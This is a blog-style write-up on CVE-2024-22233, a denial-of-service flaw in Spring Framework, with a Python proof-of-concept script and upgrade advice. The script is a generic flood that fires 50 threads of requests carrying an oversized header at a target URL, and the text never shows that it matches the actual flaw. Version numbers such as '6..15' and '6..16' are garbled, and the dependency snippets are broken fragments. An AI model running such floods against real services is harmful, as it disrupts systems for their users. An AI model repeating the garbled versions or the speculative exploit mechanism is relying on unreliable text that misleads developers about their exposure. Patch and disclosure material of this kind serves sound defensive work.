CVE-2024-22233 - A Deep-Dive Into Spring Framework HTTP DoS Vulnerability

In early 2024, a security flaw was discovered affecting Spring Framework versions 6..15 and 6.1.2. Labeled as CVE-2024-22233, this vulnerability allows attackers to send specifically crafted HTTP requests, leading to a Denial of Service (DoS) condition in affected applications. While the codebase and deployment may look secure, this subtle vulnerability lurks in common project setups, mainly those using Spring MVC and Spring Security.

In this exclusive breakdown, we’ll go through how the vulnerability works, real examples and PoC (proof of concept) code to demonstrate exploitation, and official references.

Uses Spring MVC: You are running a web application built with Spring’s MVC module.

2. Includes Spring Security version 6.1.6+ or 6.2.1+ on the classpath: Even if not explicitly used, having these versions available triggers the issue.

org.springframework.boot:spring-boot-starter-security

If both are on your dependency tree and you’re using affected Spring Framework versions, your project is likely exposed.

Understanding How CVE-2024-22233 Works

The vulnerability occurs due to a logic flaw in the way HTTP requests are parsed and handled. When attackers send malformed HTTP headers or requests with certain characteristics, Spring’s internal processing can get stuck or consume excessive resources, ultimately making your service unresponsive to legitimate clients—a textbook DoS situation.

This issue didn’t exist in earlier versions and is caused by subtle changes in request processing, combined with how newer Spring Security modules hook into the lifecycle.

Basic Exploit Flow

1. The attacker sends a carefully crafted HTTP request (often with malformed or unusually large headers).
2. The vulnerable Spring application does not immediately reject or process the request but enters a loop or resource exhaustion state.

Example PoC Exploit

> _Disclaimer: Use these responsibly, for educational or defensive purposes only._

You can use curl for basic testing, but to trigger a true DoS, you may need to simulate multiple requests or use tools like slowloris. Here’s a simple example using Python’s requests and threading to demonstrate:

import requests
import threading

URL = "http://target-spring-app.com";  # Replace with your test target

# Malformed header name/value to trigger problematic parsing
malformed_headers = {
    'X-Slow-Header': 'A' * 10000  # Unusually large header value
}

def do_attack():
    try:
        requests.get(URL, headers=malformed_headers, timeout=1)
    except Exception as e:
        print("Request failed:", e)

# Launch 50 concurrent requests
threads = []
for i in range(50):
    t = threading.Thread(target=do_attack)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

This example fires off multiple concurrent requests with huge header values which, on the vulnerable combination of Spring MVC & Security, may lead to request-handling bottlenecks and eventual denial of service.

Note: The actual exploitability and impact depend on your app’s threading configuration and deployment specifics.

org.springframework.boot
spring-boot-starter-web

org.springframework.boot
spring-boot-starter-security

`

./gradlew dependencies | grep 'spring-security'

Mitigation

Upgrade as soon as possible to Spring Framework 6..16, 6.1.3, or later, as these patches are available and fix the DoS flaw. Reference: Spring Framework release notes.

Official References

- Spring’s CVE-2024-22233 Security Advisory
- GitHub Commit Fix
- NVD Listing

Summary

CVE-2024-22233 is a real threat for anyone deploying recent versions of Spring Boot with both web and security modules. The issue boils down to how HTTP requests interact with core Spring components, creating a window for DoS attacks with even basic tools.

If you run affected versions in production, update now or apply mitigation steps. Stay on top of advisory feeds and, as always, keep critical dependencies up-to-date.

If you found this deep dive useful, please reference the official advisories above and share with your dev and DevOps teams!


*This post is original and intended for educational and securing your Java stack. Do not use these details for misuse; always practice responsible disclosure and patching.*

Timeline

Published on: 01/22/2024 13:15:25 UTC
Last modified on: 01/29/2024 17:24:16 UTC